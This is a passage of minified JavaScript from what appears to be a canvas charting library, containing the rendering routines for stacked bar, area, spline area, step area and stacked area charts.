+)if(c=t[m].x.getTime?t[m].x.getTime():t[m].x,!(c<a.axisX.dataInfo.viewPortMin||
c>a.axisX.dataInfo.viewPortMax)&&"number"===typeof t[m].y)
{q=a.axisX.convertValueToPixel(c);var x=q-
a.plotType.plotUnits.length*f/2+a.index*f<<0,v=x+f<<0,y;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0<t[m].y)l[c]=t[m
].y+(l[c]?l[c]:0),0<l[c]&&(y=g[c]?
g[c]:n,g[c]=s=a.axisY.convertValueToPixel(l[c]));else
if(a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0>=t[m].y)w[c]
=t[m].y+(w[c]?w[c]:0),s=k[c]?k[c]:n,k[c]=y=a.axisY.convertValueToPixel(w[c]);else
if(s=a.axisY.convertValueToPixel(t[m].y),0<=t[m].y){var A=g[c]?
g[c]:0;y=n+A;s+=A;g[c]=A+(s-y)}else A=k[c]?k[c]:0,y=s-A,s=n-A,k[c]=A+(s-
y);c=t[m].color?t[m].color:h._colorSet[m
%h._colorSet.length];ea(b,y,x,s,v,c,0,null,u,!1,!1,!
1,h.fillOpacity);c=h.dataPointIds[m];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:p,dataPointIndex:m,x1:y,y1:x,x2:s,y2:v};c=N(c);r&&ea
(this._eventManager.ghostCtx,y,x,s,v,c,0,null,!1,!1,!1,!1);(t[m].indexLabel||
h.indexLabel||t[m].indexLabelFormatter||
h.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedBar",dataPoint:t[
m],dataSeries:h,point:{x:0<=t[m].y?s:y,y:q},direction:0>t[m].y===a.axisY.reversed?
1:-1,bounds:
{x1:Math.min(y,s),y1:x,x2:Math.max(y,s),y2:v},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.xScaleAnimation,easingFunction:M.easing.easeOutQuart,animationBase:n<a.axisY.bo
unds.x1?a.axisY.bounds.x1:n>a.axisY.bounds.x2?
a.axisY.bounds.x2:n}}};p.prototype.renderStackedBar100=function(a){var
d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=[],k=[],l=[],w=[],m=0,s,q,n=a.axisY.convertValueToPixel(a.
axisY.logarithmic?a.axisY.viewportMinimum:0),m=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;q=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.15*this.height<<0;var
f=a.axisX.dataInfo.minDiff;isFinite(f)||
(f=0.3*Math.abs(a.axisX.range));f=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.height*(a.axisX.logarithmic?
Math.log(f)/Math.log(a.axisX.range):Math.abs(f)/Math.abs(a.axisX.range))/a.plotType
.plotUnits.length)<<0;this.dataPointMaxWidth&&m>q&&(m=Math.min(this.options.dataPoi
ntWidth?this.dataPointWidth:Infinity,q));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&q<m)&&(q=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,m));f<m&&(f=m);f>q&&(f=q);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var B=0;B<a.dataSeriesIndexes.length;B++){var
h=a.dataSeriesIndexes[B],p=this.data[h],t=p.dataPoints;if(0<t.length){var
u=5<f&&p.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(m=0;m<t.length;m+
+)if(c=t[m].x.getTime?t[m].x.getTime():t[m].x,!(c<a.axisX.dataInfo.viewPortMin||
c>a.axisX.dataInfo.viewPortMax)&&"number"===typeof t[m].y)
{q=a.axisX.convertValueToPixel(c);var x;x=0!==a.dataPointYSums[c]?
100*(t[m].y/a.dataPointYSums[c]):0;var v=q-
a.plotType.plotUnits.length*f/2+a.index*f<<0,y=v+f<<0;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0<t[m].y){l[c]=x+
(l[c]?l[c]:0);if(0>=l[c])continue;x=g[c]?
g[c]:n;g[c]=s=a.axisY.convertValueToPixel(l[c])}else
if(a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0>=t[m].y)w[c]
=x+(w[c]?w[c]:0),s=k[c]?k[c]:n,k[c]=x=a.axisY.convertValueToPixel(w[c]);else
if(s=a.axisY.convertValueToPixel(x),0<=t[m].y){var A=g[c]?
g[c]:0;x=n+A;s+=A;a.dataSeriesIndexes.length-1===B&&1>=Math.abs(e.x2-
s)&&(s=e.x2);g[c]=A+(s-x)}else A=k[c]?k[c]:0,x=s-A,s=n-
A,a.dataSeriesIndexes.length-1===B&&1>=Math.abs(e.x1-x)&&(x=e.x1),k[c]=A+(s-
x);c=t[m].color?t[m].color:p._colorSet[m
%p._colorSet.length];ea(b,x,v,s,y,c,0,null,u,!1,!1,!1,p.fillOpaci
ty);c=p.dataPointIds[m];this._eventManager.objectMap[c]={id:c,objectType:"dataPoint
",dataSeriesIndex:h,dataPointIndex:m,x1:x,y1:v,x2:s,y2:y};c=N(c);r&&ea(this._eventM
anager.ghostCtx,x,v,s,y,c,0,null,!1,!1,!1,!1);(t[m].indexLabel||p.indexLabel||
t[m].indexLabelFormatter||
p.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedBar100",dataPoint
:t[m],dataSeries:p,point:{x:0<=t[m].y?
s:x,y:q},direction:0>t[m].y===a.axisY.reversed?1:-1,bounds:
{x1:Math.min(x,s),y1:v,x2:Math.max(x,s),y2:y},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.xScaleAnimation,easingFunction:M.easing.easeOutQuart,animationBase:n<a.axisY.bo
unds.x1?a.axisY.bounds.x1:n>a.axisY.bounds.x2?
a.axisY.bounds.x2:n}}};p.prototype.renderArea=function(a){var d,b;function c()
{A&&(0<B.lineThickness&&g.stroke(),a.axisY.logarithmic||
0>=a.axisY.viewportMinimum&&0<=a.axisY.viewportMaximum?
y=v:0>a.axisY.viewportMaximum?
y=w.y1:0<a.axisY.viewportMinimum&&(y=l.y2),g.lineTo(t,y),g.lineTo(A.x,y),g.closePat
h(),g.globalAlpha=B.fillOpacity,g.fill(),g.globalAlpha=1,r&&(k.lineTo(t,y),k.lineTo
(A.x,y),k.closePath(),k.fill()),g.beginPath(),g.moveTo(t,u),k.beginPath(),k.moveTo(
t,u),A={x:t,y:u})}var e=a.targetCanvasCtx||this.plotArea.ctx,g=r?
this._preRenderCtx:e;if(!(0>=a.dataSeriesIndexes.length)){var
k=this._eventManager.ghostCtx,l=a.axisX.lineCoordinates,w=a.axisY.lineCoordinates,m
=[],s=this.plotArea,q;g.save();r&&k.save();g.beginPath();g.rect(s.x1,s.y1,s.width,s
.height);g.clip();r&&(k.beginPath(),k.rect(s.x1,s.y1,s.width,s.height),k.clip());fo
r(var n=0;n<a.dataSeriesIndexes.length;n++){var
f=a.dataSeriesIndexes[n],B=this.data[f],p=B.dataPoints,m=B.id;this._eventManager.ob
jectMap[m]={objectType:"dataSeries",dataSeriesIndex:f};m=N(m);k.fillStyle=m;m=[];d=
!0;var h=0,t,u,x,v=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),y,A=null;if(0<p.length){var z=B._colorSet[h
%B._colorSet.length],aa=B.lineColor=B.options.lineColor||
z,T=aa;g.fillStyle=z;g.strokeStyle=aa;g.lineWidth=B.lineThickness;b="solid";if(g.se
tLineDash){var Y=R(B.nullDataLineDashType,B.lineThickness);b=B.lineDashType;var
ca=R(b,B.lineThickness);g.setLineDash(ca)}for(var da=!0;h<p.length;h+
+)if(x=p[h].x.getTime?p[h].x.getTime():p[h].x,!(x<a.axisX.dataInfo.viewPortMin||
x>a.axisX.dataInfo.viewPortMax&&(!B.connectNullData||!da)))if("number"!==typeof
p[h].y)B.connectNullData||(da||d)||c(),da=!
0;else{t=a.axisX.convertValueToPixel(x);u=a.axisY.convertValueToPixel(p[h].y);d||
da?(!d&&B.connectNullData?(g.setLineDash&&(B.options.nullDataLineDashType||
b===B.lineDashType&&B.lineDashType!
==B.nullDataLineDashType)&&(d=t,b=u,t=q.x,u=q.y,c(),g.moveTo(q.x,q.y),t=d,u=b,A=q,b
=B.nullDataLineDashType,g.setLineDash(Y)),g.lineTo(t,u),r&&k.lineTo(t,u)):
(g.beginPath(),g.moveTo(t,u),r&&(k.beginPath(),k.moveTo(t,u)),A={x:t,y:u}),da=d=!
1):(g.lineTo(t,u),r&&k.lineTo(t,u),0==h%250&&c());q={x:t,y:u};h<p.length-1&&(T!
==(p[h].lineColor||aa)||b!==(p[h].lineDashType||
B.lineDashType))&&(c(),T=p[h].lineColor||
aa,g.strokeStyle=T,g.setLineDash&&(p[h].lineDashType?
(b=p[h].lineDashType,g.setLineDash(R(b,B.lineThickness))):
(b=B.lineDashType,g.setLineDash(ca))));var
Z=B.dataPointIds[h];this._eventManager.objectMap[Z]={id:Z,objectType:"dataPoint",da
taSeriesIndex:f,dataPointIndex:h,x1:t,y1:u};0!
==p[h].markerSize&&(0<p[h].markerSize||
0<B.markerSize)&&(x=B.getMarkerProperties(h,t,u,g),m.push(x),Z=N(Z),r&&m.push({x:t,
y:u,ctx:k,type:x.type,size:x.size,color:Z,borderColor:Z,borderThickness:x.borderThi
ckness}));(p[h].indexLabel||B.indexLabel||p[h].indexLabelFormatter||
B.indexLabelFormatter)&&this._indexLabels.push({chartType:"area",dataPoint:p[h],dat
aSeries:B,point:{x:t,y:u},direction:0>p[h].y===a.axisY.reversed?1:-
1,color:z})}c();ia.drawMarkers(m)}}r&&(e.drawImage(this._preRenderCanvas,0,0,this.w
idth,this.height),g.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&g.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&g.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),g.clearRect(s.x1,s.y1,s.width,s.height),this._eventManager.ghos
tCtx.restore());g.restore();return{source:e,dest:this.plotArea.ctx,animationCallbac
k:M.xClipAnimation,easingFunction:M.easing.linear,animationBase:0}}};p.prototype.re
nderSplineArea=function(a){function d(){var b=v(x,2);if(0<b.length)
{if(0<q.lineThickness)
{c.beginPath();c.moveTo(b[0].x,b[0].y);b[0].newStrokeStyle&&(c.strokeStyle=b[0].new
StrokeStyle);b[0].newLineDashArray&&c.setLineDash(b[0].newLineDashArray);for(var
d=0;d<b.length-
3;d+=3)if(c.bezierCurveTo(b[d+1].x,b[d+1].y,b[d+2].x,b[d+2].y,b[d+3].x,b[d+3].y),r&
&e.bezierCurveTo(b[d+1].x,b[d+1].y,b[d+2].x,b[d+2].y,b[d+3].x,b[d+3].y),b[d+3].newS
trokeStyle||
b[d+3].newLineDashArray)c.stroke(),c.beginPath(),c.moveTo(b[d+3].x,b[d+3].y),b[d+3]
.newStrokeStyle&&(c.strokeStyle=b[d+3].newStrokeStyle),b[d+3].newLineDashArray&&c.s
etLineDash(b[d+3].newLineDashArray);c.stroke()}c.beginPath();c.moveTo(b[0].x,b[0].y
);r&&(e.beginPath(),e.moveTo(b[0].x,b[0].y));for(d=0;d<b.length-
3;d+=3)c.bezierCurveTo(b[d+1].x,b[d+1].y,b[d+2].x,b[d+2].y,b[d+3].x,b[d+3].y),r&&e.
bezierCurveTo(b[d+1].x,b[d+1].y,b[d+2].x,b[d+2].y,b[d+3].x,b[d+3].y);a.axisY.logari
thmic||0>=a.axisY.viewportMinimum&&0<=a.axisY.viewportMaximum?
t=p:0>a.axisY.viewportMaximum?
t=k.y1:0<a.axisY.viewportMinimum&&(t=g.y2);u={x:b[0].x,y:b[0].y};c.lineTo(b[b.lengt
h-
1].x,t);c.lineTo(u.x,t);c.closePath();c.globalAlpha=q.fillOpacity;c.fill();c.global
Alpha=1;r&&(e.lineTo(b[b.length-
1].x,t),e.lineTo(u.x,t),e.closePath(),e.fill())}}var b=a.targetCanvasCtx||
this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=this._eventManager.ghostCtx,g=a.axisX.lineCoordinates,k=a.axisY.lineCoordinates,l
=[],w=this.plotArea;c.save();r&&e.save();c.beginPath();c.rect(w.x1,w.y1,w.width,w.h
eight);c.clip();r&&(e.beginPath(),e.rect(w.x1,w.y1,w.width,w.height),e.clip());for(
var m=0;m<a.dataSeriesIndexes.length;m++){var
s=a.dataSeriesIndexes[m],q=this.data[s],n=q.dataPoints,l=q.id;this._eventManager.ob
jectMap[l]={objectType:"dataSeries",dataSeriesIndex:s};l=N(l);e.fillStyle=l;var
l=[],f=0,B,h,p=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),t,u=null,x=[];if(0<n.length){var ma=q._colorSet[f
%q._colorSet.length],y=q.lineColor=q.options.lineColor||
ma,A=y;c.fillStyle=ma;c.strokeStyle=y;c.lineWidth=q.lineThickness;var
z="solid";if(c.setLineDash){var
aa=R(q.nullDataLineDashType,q.lineThickness),z=q.lineDashType,T=R(z,q.lineThickness
);c.setLineDash(T)}for(h=!1;f<n.length;f++)if(B=n[f].x.getTime?
n[f].x.getTime():n[f].x,!(B<a.axisX.dataInfo.viewPortMin||
B>a.axisX.dataInfo.viewPortMax&&(!q.connectNullData||!h)))if("number"!==typeof
n[f].y)0<f&&!h&&(q.connectNullData?
c.setLineDash&&(0<x.length&&(q.options.nullDataLineDashType||!n[f-
1].lineDashType))&&(x[x.length-1].newLineDashArray=aa,z=q.nullDataLineDashType):
(d(),x=[])),h=!
0;else{B=a.axisX.convertValueToPixel(B);h=a.axisY.convertValueToPixel(n[f].y);var
Y=q.dataPointIds[f];this._eventManager.objectMap[Y]={id:Y,objectType:"dataPoint",da
taSeriesIndex:s,dataPointIndex:f,x1:B,y1:h};x[x.length]={x:B,y:h};f<n.length-1&&(A!
==(n[f].lineColor||y)||z!==(n[f].lineDashType||
q.lineDashType))&&(A=n[f].lineColor||y,x[x.length-
1].newStrokeStyle=A,c.setLineDash&&(n[f].lineDashType?
(z=n[f].lineDashType,x[x.length-1].newLineDashArray=R(z,q.lineThickness)):
(z=q.lineDashType,x[x.length-1].newLineDashArray=T)));if(0!
==n[f].markerSize&&(0<n[f].markerSize||0<q.markerSize)){var
ca=q.getMarkerProperties(f,B,h,c);l.push(ca);Y=N(Y);r&&l.push({x:B,y:h,ctx:e,type:c
a.type,size:ca.size,color:Y,borderColor:Y,borderThickness:ca.borderThickness})}
(n[f].indexLabel||q.indexLabel||n[f].indexLabelFormatter||
q.indexLabelFormatter)&&this._indexLabels.push({chartType:"splineArea",dataPoint:n[
f],dataSeries:q,point:{x:B,y:h},direction:0>n[f].y===a.axisY.reversed?1:-
1,color:ma});h=!
1}d();ia.drawMarkers(l)}}r&&(b.drawImage(this._preRenderCanvas,0,0,this.width,this.
height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(w.x1,w.y1,w.width,w.height),this._eventManager.ghos
tCtx.restore());c.restore();return{source:b,dest:this.plotArea.ctx,animationCallbac
k:M.xClipAnimation,easingFunction:M.easing.linear,animationBase:0}}};p.prototype.re
nderStepArea=function(a){var d,b;function c()
{A&&(0<B.lineThickness&&g.stroke(),a.axisY.logarithmic||
0>=a.axisY.viewportMinimum&&0<=a.axisY.viewportMaximum?
y=v:0>a.axisY.viewportMaximum?
y=w.y1:0<a.axisY.viewportMinimum&&(y=l.y2),g.lineTo(t,y),g.lineTo(A.x,y),g.closePat
h(),g.globalAlpha=B.fillOpacity,g.fill(),g.globalAlpha=1,r&&(k.lineTo(t,y),k.lineTo
(A.x,y),k.closePath(),k.fill()),g.beginPath(),g.moveTo(t,u),k.beginPath(),k.moveTo(
t,u),A={x:t,y:u})}var e=a.targetCanvasCtx||this.plotArea.ctx,g=r?
this._preRenderCtx:e;if(!(0>=a.dataSeriesIndexes.length)){var
k=this._eventManager.ghostCtx,l=a.axisX.lineCoordinates,w=a.axisY.lineCoordinates,m
=[],s=this.plotArea,q;g.save();r&&k.save();g.beginPath();g.rect(s.x1,s.y1,s.width,s
.height);g.clip();r&&(k.beginPath(),k.rect(s.x1,s.y1,s.width,s.height),k.clip());fo
r(var n=0;n<a.dataSeriesIndexes.length;n++){var
f=a.dataSeriesIndexes[n],B=this.data[f],h=B.dataPoints,m=B.id;this._eventManager.ob
jectMap[m]={objectType:"dataSeries",dataSeriesIndex:f};m=N(m);k
.fillStyle=m;m=[];d=!0;var
p=0,t,u,x,v=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),y,A=null;b=!1;if(0<h.length){var z=B._colorSet[p
%B._colorSet.length],aa=B.lineColor=B.options.lineColor||
z,T=aa;g.fillStyle=z;g.strokeStyle=aa;g.lineWidth=B.lineThickness;var
Y="solid";if(g.setLineDash){var
ca=R(B.nullDataLineDashType,B.lineThickness),Y=B.lineDashType,da=R(Y,B.lineThicknes
s);g.setLineDash(da)}for(;p<h.length;p++)if(x=h[p].x.getTime?
h[p].x.getTime():h[p].x,!(x<a.axisX.dataInfo.viewPortMin||
x>a.axisX.dataInfo.viewPortMax&&(!B.connectNullData||!b))){var Z=u;"number"!
==typeof h[p].y?(B.connectNullData||(b||d)||c(),b=!0):
(t=a.axisX.convertValueToPixel(x),u=a.axisY.convertValueToPixel(h[p].y),d||b?(!
d&&B.connectNullData?(g.setLineDash&&(B.options.nullDataLineDashType||
Y===B.lineDashType&&B.lineDashType!
==B.nullDataLineDashType)&&(d=t,b=u,t=q.x,u=q.y,c(),g.moveTo(q.x,q.y),t=d,u=b,A=q,Y
=B.nullDataLineDashType,g.setLineDash(ca)),g.lineTo(t,Z),g.lineTo(t,u),r&&(k.lineTo
(t,Z),k.lineTo(t,u))):
(g.beginPath(),g.moveTo(t,u),r&&(k.beginPath(),k.moveTo(t,u)),A={x:t,y:u}),b=d=!1):
(g.lineTo(t,Z),r&&k.lineTo(t,Z),g.lineTo(t,u),r&&k.lineTo(t,u),0==p
%250&&c()),q={x:t,y:u},p<h.length-1&&(T!==(h[p].lineColor||aa)||Y!
==(h[p].lineDashType||B.lineDashType))&&(c(),T=h[p].lineColor||
aa,g.strokeStyle=T,g.setLineDash&&(h[p].lineDashType?
(Y=h[p].lineDashType,g.setLineDash(R(Y,B.lineThickness))):
(Y=B.lineDashType,g.setLineDash(da)))),x=B.dataPointIds[p],this._eventManager.objec
tMap[x]={id:x,objectType:"dataPoint",dataSeriesIndex:f,dataPointIndex:p,x1:t,y1:u},
0!==h[p].markerSize&&(0<h[p].markerSize||
0<B.markerSize)&&(Z=B.getMarkerProperties(p,t,u,g),m.push(Z),x=N(x),r&&m.push({x:t,
y:u,ctx:k,type:Z.type,size:Z.size,color:x,borderColor:x,borderThickness:Z.borderThi
ckness})),(h[p].indexLabel||B.indexLabel||h[p].indexLabelFormatter||
B.indexLabelFormatter)&&this._indexLabels.push({chartType:"stepArea",dataPoint:h[p]
,dataSeries:B,point:{x:t,y:u},direction:0>h[p].y===a.axisY.reversed?1:-
1,color:z}))}c();ia.drawMarkers(m)}}r&&(e.drawImage(this._preRenderCanvas,0,0,this.
width,this.height),g.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&g.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&g.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),g.clearRect(s.x1,s.y1,s.width,s.height),this._eventManager.ghos
tCtx.restore());g.restore();return{source:e,dest:this.plotArea.ctx,animationCallbac
k:M.xClipAnimation,easingFunction:M.easing.linear,animationBase:0}}};p.prototype.re
nderStackedArea=function(a){function d(){if(!(1>m.length))
{for(0<A.lineThickness&&c.stroke();0<m.length;){var
a=m.pop();c.lineTo(a.x,a.y);r&&u.lineTo(a.x,a.y)}c.closePath();c.globalAlpha=A.fill
Opacity;c.fill();c.globalAlpha=1;c.beginPath();r&&(u.closePath(),u.fill(),u.beginPa
th());m=[]}}var b=a.targetCanvasCtx||this.plotArea.ctx,c=r?
this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=null,g=null,k=[],l=this.plotArea,w=[],m=[],s=[],q=[],n=0,f,h,p=a.axisY.convertVal
ueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),u=this._eventManager.ghostCtx,t,C,x;r&&u.beginPath();c.s
ave();r&&u.save();c.beginPath();c.rect(l.x1,l.y1,l.width,l.height);c.clip();r&&(u.b
eginPath(),u.rect(l.x1,l.y1,l.width,l.height),u.clip());for(var
e=[],v=0;v<a.dataSeriesIndexes.length;v++){var
y=a.dataSeriesIndexes[v],A=this.data[y],z=A.dataPoints;A.dataPointIndexes=[];for(n=
0;n<z.length;n++)y=z[n].x.getTime?
z[n].x.getTime():z[n].x,A.dataPointIndexes[y]=n,e[y]||(s.push(y),e[y]=!
0);s.sort(Sa)}for(v=0;v<a.dataSeriesIndexes.length;v++)
{y=a.dataSeriesIndexes[v];A=this.data[y];z=A.dataPoints;C=!
0;m=[];n=A.id;this._eventManager.objectMap[n]={objectType:"dataSeries",dataSeriesIn
dex:y};n=N(n);u.fillStyle=n;if(0<s.length){var
e=A._colorSet[0],aa=A.lineColor=A.options.lineColor||
e,T=aa;c.fillStyle=e;c.strokeStyle=aa;c.lineWidth=A.lineThickness;x="solid";if(c.se
tLineDash){var Y=R(A.nullDataLineDashType,A.lineThickness);x=A.lineDashType;var
ca=R(x,A.lineThickness);c.setLineDash(ca)}for(var da=!0,n=0;n<s.length;n++){var
g=s[n],Z=null,Z=0<=A.dataPointIndexes[g]?z[A.dataPointIndexes[g]]:{x:g,y:null};if(!
(g<a.axisX.dataInfo.viewPortMin||g>a.axisX.dataInfo.viewPortMax&&(!
A.connectNullData||!da)))if("number"!==typeof Z.y)A.connectNullData||(da||C)||
d(),da=!0;else{f=a.axisX.convertValueToPixel(g);var oa=w[g]?
w[g]:0;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length){q[g]=Z.y+(q[g]?
q[g]:0);if(0>=q[g]&&a.axisY.logarithmic)continue;h=a.axisY.convertValueToPixel(q[g]
)}else h=a.axisY.convertValueToPixel(Z.y),h-=oa;m.push({x:f,y:p-oa});w[g]=p-h;C||
da?(!C&&A.connectNullData?(c.setLineDash&&(A.options.nullDataLineDashType||
x===A.lineDashType&&A.lineDashType!
==A.nullDataLineDashType)&&(C=m.pop(),x=m[m.length-
1],d(),c.moveTo(t.x,t.y),m.push(x),m.push(C),x=A.nullDataLineDashType,c.setLineDash
(Y)),c.lineTo(f,h),r&&u.lineTo(f,h)):
(c.beginPath(),c.moveTo(f,h),r&&(u.beginPath(),u.moveTo(f,h))),da=C=!1):
(c.lineTo(f,h),r&&u.lineTo(f,h),0==n
%250&&(d(),c.moveTo(f,h),r&&u.moveTo(f,h),m.push({x:f,y:p-
oa})));t={x:f,y:h};n<z.length-1&&(T!==(z[n].lineColor||aa)||x!
==(z[n].lineDashType||
A.lineDashType))&&(d(),c.beginPath(),c.moveTo(f,h),m.push({x:f,y:p-
oa}),T=z[n].lineColor||aa,c.strokeStyle=T,c.setLineDash&&(z[n].lineDashType?
(x=z[n].lineDashType,c.setLineDash(R(x,A.lineThickness))):
(x=A.lineDashType,c.setLineDash(ca))));if(0<=A.dataPointIndexes[g]){var
la=A.dataPointIds[A.dataPointIndexes[g]];this._eventManager.objectMap[la]={id:la,ob
jectType:"dataPoint",dataSeriesIndex:y,dataPointIndex:A.dataPointIndexes[g],x1:f,y1
:h}}0<=A.dataPointIndexes[g]&&0!==Z.markerSize&&(0<Z.markerSize||
0<A.markerSize)&&(oa=A.getMarkerProperties(A.dataPointIndexes[g],f,h,c),k.push(oa),
g=N(la),r&&k.push({x:f,y:h,ctx:u,type:oa.type,size:oa.size,color:g,borderColor:g,bo
rderThickness:oa.borderThickness}));(Z.indexLabel||A.indexLabel||
Z.indexLabelFormatter||
A.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedArea",dataPoint:Z
,dataSeries:A,point:{x:f,y:h},direction:0>z[n].y===a.axisY.reversed?1:-
1,color:e})}}d();c.moveTo(f,h);r&&u.moveTo(f,h)}delete
A.dataPointIndexes}ia.drawMarkers(k);r&&(b.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),c.clearRect(l.x1,l.y1,l.width,l.height),u.restore());c.restore(
);return{source:b,dest:this.plotArea.ctx,animationCallback:M.xClipAnimation,easingF
unction:M.easing.linear,animationBase:0}}};p.prototype.renderStackedArea100=functio
n(a){function d(){for(0<A.lineThickness&&c.stroke();0<m.length;){var
a=m.pop();c.lineTo(a.x,a.y);r&&x.lineTo(a.x,a.y)}c.closePath();c.globalAlpha=A.fill
Opacity;c.fill();c.globalAlpha=1;c.beginPath();r&&(x.closePath(),x.fill(),x.beginPa
th());m=[]}var b=a.targetCanvasCtx||this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!
(0>=a.dataSeriesIndexes.length)){var
e=null,g=null,k=this.plotArea,l=[],w=[],m=[],s=[],q=[],n=0,f,h,p,u,t,C=a.axisY.conv
ertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),x=this._eventManager.ghostCtx;c.save();r&&x.save();c.beg
inPath();c.rect(k.x1,k.y1,k.width,k.height);c.clip();r&&(x.beginPath(),x.rect(k.x1,
k.y1,k.width,k.height),x.clip());for(var e=[],v=0;v<a.dataSeriesIndexes.length;v++)
{var
y=a.dataSeriesIndexes[v],A=this.data[y],z=A.dataPoints;A.dataPointIndexes=[];for(n=
0;n<z.length;n++)y=z[n].x.getTime?
z[n].x.getTime():z[n].x,A.dataPointIndexes[y]=n,e[y]||(s.push(y),e[y]=!
0);s.sort(Sa)}for(v=0;v<a.dataSeriesIndexes.length;v++)
{y=a.dataSeriesIndexes[v];A=this.data[y];z=A.dataPoints;u=!
0;e=A.id;this._eventManager.objectMap[e]={objectType:"dataSeries",dataSeriesIndex:y
};e=N(e);x.fillStyle=e;m=[];if(0<s.length){var e=A._colorSet[n
%A._colorSet.length],aa=A.lineColor=A.options.lineColor||
e,T=aa;c.fillStyle=e;c.strokeStyle=aa;c.lineWidth=A.lineThickness;t="solid";if(c.se
tLineDash){var Y=R(A.nullDataLineDashType,A.lineThickness);t=A.lineDashType;var
ca=R(t,A.lineThickness);c.setLineDash(ca)}for(var da=!0,n=0;n<s.length;n++){var
g=s[n],Z=null,Z=0<=A.dataPointIndexes[g]?z[A.dataPointIndexes[g]]:{x:g,y:null};if(!
(g<a.axisX.dataInfo.viewPortMin||g>a.axisX.dataInfo.viewPortMax&&(!
A.connectNullData||!da)))if("number"!==typeof Z.y)A.connectNullData||(da||u)||
d(),da=!0;else{var oa;oa=0!==a.dataPointYSums[g]?
100*(Z.y/a.dataPointYSums[g]):0;f=a.axisX.convertValueToPixel(g);var la=w[g]?
w[g]:0;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length){q[g]=oa+(q[g]?
q[g]:0);if(0>=q[g]&&a.axisY.logarithmic)continue;h=a.axisY.convertValueToPixel(q[g]
)}else h=a.axisY.convertValueToPixel(oa),h-=la;m.push({x:f,y:C-la});w[g]=C-h;u||da?
(!u&&A.connectNullData?(c.setLineDash&&(A.options.nullDataLineDashType||
t===A.lineDashType&&A.lineDashType!
==A.nullDataLineDashType)&&(u=m.pop(),t=m[m.length-
